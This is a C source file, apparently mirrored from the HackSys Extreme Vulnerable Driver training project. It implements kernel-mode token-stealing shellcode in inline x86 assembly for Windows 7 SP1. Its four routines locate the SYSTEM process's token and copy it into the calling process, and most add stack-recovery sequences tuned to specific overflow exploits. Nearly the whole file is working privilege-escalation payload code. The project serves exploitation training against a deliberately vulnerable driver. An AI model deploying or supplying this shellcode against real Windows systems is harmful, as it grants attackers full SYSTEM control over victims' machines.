mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
196 lines
7.6 KiB
C
196 lines
7.6 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
|
|
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS
|
|
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
|
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
|
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
|
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
Payloads.c
|
|
|
|
Abstract:
|
|
This module implements the EoP payload used for privilege
|
|
escalation after gaining control of the instruction pointer
|
|
in kernel.
|
|
|
|
Test Bed:
|
|
These payloads have been tested on Windows 7 SP1 x86
|
|
|
|
TODO:
|
|
1. Add a better version of the EoP payload, basically DuplicateToken()
|
|
stuff.
|
|
2. Try to have a universal payload and add a better way to do Kernel
|
|
Recovery.
|
|
|
|
--*/
|
|
|
|
#include "Payloads.h"
|
|
|
|
#pragma warning(push)
|
|
#pragma warning(disable: 4731)
|
|
|
|
VOID TokenStealingShellcodeWin7() {
|
|
// Importance of Kernel Recovery
|
|
__asm {
|
|
; initialize
|
|
pushad ; save registers state
|
|
|
|
xor eax, eax ; Set zero
|
|
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
|
|
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
|
|
|
|
mov ecx, eax ; Copy current _EPROCESS structure
|
|
|
|
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
|
|
|
|
SearchSystemPID:
|
|
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
|
sub eax, FLINK_OFFSET
|
|
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
|
|
jne SearchSystemPID
|
|
|
|
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
|
|
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
|
|
; to current process
|
|
popad ; restore registers state
|
|
|
|
; recovery
|
|
xor eax, eax ; Set NTSTATUS SUCCEESS
|
|
add esp, 12 ; fix the stack
|
|
pop ebp
|
|
ret 8
|
|
}
|
|
}
|
|
|
|
VOID TokenStealingShellcodeGSWin7() {
|
|
// Importance of Kernel Recovery
|
|
__asm {
|
|
; initialize
|
|
pushad ; save registers state
|
|
|
|
xor eax, eax ; Set zero
|
|
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
|
|
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
|
|
|
|
mov ecx, eax ; Copy current _EPROCESS structure
|
|
|
|
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
|
|
|
|
SearchSystemPID:
|
|
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
|
sub eax, FLINK_OFFSET
|
|
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
|
|
jne SearchSystemPID
|
|
|
|
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
|
|
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
|
|
; to current process
|
|
popad ; restore registers state
|
|
|
|
; recovery
|
|
add esp, 0x418
|
|
mov ebx, [esp] ; restore the DbgPrint string
|
|
add esp, 0x42c
|
|
mov eax,esp
|
|
add eax, 0x18
|
|
mov edi,[eax] ; restore the pointer to Irp
|
|
xor eax, eax ; Set NTSTATUS SUCCEESS
|
|
pop ebp
|
|
ret 8
|
|
}
|
|
}
|
|
|
|
#pragma warning(pop)
|
|
|
|
VOID TokenStealingShellcodeWin7Generic() {
|
|
// No Need of Kernel Recovery as we are not corrupting anything
|
|
__asm {
|
|
; initialize
|
|
pushad ; save registers state
|
|
|
|
xor eax, eax ; Set zero
|
|
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
|
|
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
|
|
|
|
mov ecx, eax ; Copy current _EPROCESS structure
|
|
|
|
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
|
|
|
|
SearchSystemPID:
|
|
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
|
sub eax, FLINK_OFFSET
|
|
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
|
|
jne SearchSystemPID
|
|
|
|
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
|
|
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
|
|
; to current process
|
|
popad ; restore registers state
|
|
}
|
|
}
|
|
|
|
VOID TokenStealingShellcodePoolOverflowWin7() {
|
|
__asm {
|
|
; initialize
|
|
pushad ; save registers state
|
|
|
|
xor eax, eax ; Set zero
|
|
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
|
|
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
|
|
|
|
mov ecx, eax ; Copy current _EPROCESS structure
|
|
|
|
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
|
|
|
|
SearchSystemPID:
|
|
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
|
sub eax, FLINK_OFFSET
|
|
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
|
|
jne SearchSystemPID
|
|
|
|
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
|
|
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
|
|
; to current process
|
|
popad ; restore registers state
|
|
|
|
; recovery
|
|
mov eax, 0x1
|
|
}
|
|
}
|